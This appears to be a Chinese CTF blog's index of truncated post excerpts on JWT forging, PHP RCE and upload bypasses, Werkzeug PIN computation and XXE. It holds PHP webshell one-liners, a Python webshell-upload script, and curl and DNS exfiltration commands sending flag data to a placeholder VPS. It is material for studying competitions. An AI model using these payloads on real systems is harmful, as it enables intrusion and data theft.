常见jwt的工具使用和技巧
jwt 特性 jwt 原理就是 base64 编码,但 Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_。 所以如果有废弃的 cookie 被直接匹配过滤,可以试试替换增加无用字符,绕过 waf。 自己加密 jwt none import jwtheader = { "alg": "none", "typ": "JWT"}content = { "iss": "admin", "iat": 1667822180, "exp": 1667829380, "nbf": 1667822180, "sub": "admin", "jti": "237410127e2551647730b97941cdcae5& ...
GeekChallenge2024 Web+Misc+Crypto个人题解WP
我是极客大挑战2024第二名队里的web手 关注我们队的逆向手谢谢喵 Error 的小破站 Web 100%的⚪ js代码搜atob能直接看到base64编码的flag ezpop 题目源码: <?phpClass SYC{ public $starven; public function __call($name, $arguments){ if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){ die('no hack'); } file_put_contents($this->starven,"<?php exit();".$this->starven); }}Class lover{ public $J1rry; ...
[CTFShow]RCE极限挑战1-5全 WP记录
RCE 挑战 1 源码: <?phperror_reporting(0);highlight_file(__FILE__);$code = $_POST['code'];$code = str_replace("(","括号",$code);$code = str_replace(".","点",$code);eval($code);?> 不给括号和点说明不能执行函数,那只能利用反引号直接执行系统函数了 payload: code=?><?=`nl /f*`;?> RCE 挑战 2 源码: <?php//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show' ...
Python中werkzeug有关PIN值的构造
参考自https://blog.hz2016.com/2023/07/flask调试模式pin值计算和利用/ 需要知道的文件名一览 用户名 通过/etc/passwd猜测,一般是root。如果有用户目录设在/app大概率是那个用户名 源码地址 通过报错得到 网络地址 /sys/class/net/eth0/address /sys/class/net/ens33/address 需要转十进制(后面有脚本) 机器ID 1. /etc/machine-id(一般仅非docker机有,截取全文) 2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文) 3. /proc/self/cgroup(一般仅docker有,仅截取最后一个斜杠后面的内容) 优先选择1,没有1选2,只能选1,2中的一个。3有没有不影响,有就要连接在1或2的后面。 (1 or 2) (+3) 脚本 算地址(可以内置进下面的版本计算) address = "02:0a:27:03:12:57"print(int(address.replace(&qu ...
PHP特性
最特性的一集
upload常见考题类型
前端检测 屏蔽 js 脚本,或者用 python 直接上传 python 上传模版 import requestsurl = "http://127.0.0.1:100/upload.php"file_content = "<?php eval($_POST[1]);?>"filename = "a.php"mime_type = "image/png"file = {"file": (filename, file_content,mime_type)}response = requests.post(url, files=file)print(response.text) 或者按它的格式上传,在抓包时修改文件后缀 检测 MIME_TYPE 修改 Content-Type jpg/png/gif: image/jpeg(png/gif) zip: application/zip 在文件开头加 GIF89a 可绕过 getimagesize() php 一句 ...
各种RCE绕过
一些常见 RCE 形式 eval($_POST[1]); `$_GET[1]`; ?><?=`{${_GET}[1]}`?> eval(),assert()的 RCE 核心是写个一句话马让蚁剑去连 ?cmd=file_put_contents("shell.php","<?=eval(\$_POST['cmd']);?>"); ?cmd=fputs(fopen('dotast.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw==\")); ?cmd=fwrite(fopen('phpinfo.php','a'),'<?php%20phpinfo();?>'); ?cmd=echo%20'<?php @eval($_POST["123"]);?>'%20>%201.php ?cmd=?><?=`ls`; 写 assert 时候蚁剑编码器选 base64 无 ...
SQL注入汇总
尽量写的详细
linux命令执行
命令执行 PHP常见用于执行系统命令的函数 system exec passthru shell_exec exec 和 shell_exec 无回显,解决方法: 保存到文件 示例: cmd=ls /|tee 1.txt 或 cmd=ls / > 1.txt 访问 url/1.txt 通过 curl 外带 示例: curl vps-ip:port/ `ls / | base64` dns 外带 通过 DNS 网站 在 ping 通时传输数据 国内的网站如 CEYE 和 DNSlog ping `cat /flag | base64` .abcdef.ceye.io ping `cat /flag | base64` .xxxxxxx.dnshook.site 直接写马 通过 echo 命令写 php 木马,蚁剑连接 echo '<?php @eval($_POST["123"]); ?>' > 1.php 不用单引号的话就得在$前加\ 过滤了&,<,>,|导致不能反弹 shell 用反引号`` ...
XXE
XXE XXE (PHP 5.45 之后不解析实体) <!DOCTYPE 根标签名 SYSTEM "文件名"> DTD 实体是用于定义引用文本或字符的快捷方式的变量,可内部声明或外部引用。 约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合: <!ELEMENT 标签名 ANY> 同时 xxe 可进行内网探测读取 /etc/hosts Payload PHP 文件读取 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]><user><username>&admin;</username><password>12 ...